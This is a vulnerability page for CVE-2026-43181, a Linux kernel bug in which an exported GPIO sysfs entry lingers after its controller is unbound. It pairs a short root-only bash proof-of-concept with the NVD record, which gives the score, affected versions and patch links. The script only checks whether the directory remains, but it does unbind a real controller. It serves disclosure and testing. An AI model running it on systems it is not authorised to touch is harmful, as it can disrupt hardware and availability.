CVE-2026-43181

#!/bin/bash # PoC for CVE-2026-43181: GPIO sysfs chip removal issue # This script demonstrates the lingering sysfs entry after unbinding the controller. GPIO_CHIP="gpiochip0" # Example chip, may vary depending on hardware GPIO_PIN="0" # Example pin # Check if running as root (required for unbind) if [ "$EUID" -ne 0 ]; then echo "Please run as root to test the unbind vulnerability." exit 1 fi echo "[*] Exporting GPIO pin $GPIO_PIN..." echo $GPIO_PIN > /sys/class/gpio/export 2>/dev/null if [ $? -ne 0 ]; then echo "[-] Failed to export GPIO. Check permissions or pin status." exit 1 fi sleep 1 echo "[+] GPIO exported. Checking /sys/class/gpio/gpio$GPIO_PIN..." ls -l /sys/class/gpio/gpio$GPIO_PIN echo "[*] Unbinding the GPIO controller $GPIO_CHIP..." echo $GPIO_CHIP > /sys/bus/gpio/drivers/gpiochip/unbind 2>/dev/null if [ $? -ne 0 ]; then echo "[-] Failed to unbind." echo $GPIO_PIN > /sys/class/gpio/unexport exit 1 fi echo "[*] Controller unbound. Checking for lingering sysfs entry..." # Vulnerability: The directory might still exist if [ -d "/sys/class/gpio/gpio$GPIO_PIN" ]; then echo "[!] Vulnerability confirmed: /sys/class/gpio/gpio$GPIO_PIN still exists after unbind!" else echo "[-] Directory cleaned up properly." fi

{"cve": {"id": "CVE-2026-43181", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:36.670", "lastModified": "2026-05-11T20:53:27.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngpio: sysfs: fix chip removal with GPIOs exported over sysfs\n\nCurrently if we export a GPIO over sysfs and unbind the parent GPIO\ncontroller, the exported attribute will remain under /sys/class/gpio\nbecause once we remove the parent device, we can no longer associate the\ndescriptor with it in gpiod_unexport() and never drop the final\nreference.\n\nRework the teardown code: provide an unlocked variant of\ngpiod_unexport() and remove all exported GPIOs with the sysfs_lock taken\nbefore unregistering the parent device itself. This is done to prevent\nany new exports happening before we unregister the device completely."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17", "versionEndExcluding": "6.18.16", "matchCriteriaId": "742E05BA-773A-4EF3-822F-A4A7DED31A65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/54f463494eb5bf193ef7d904a493474c451734df", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6766f59012301f1bf3f46c6e7149caca45d92309", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a645cc25904b0baf508b77a0402ce151212b9800", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}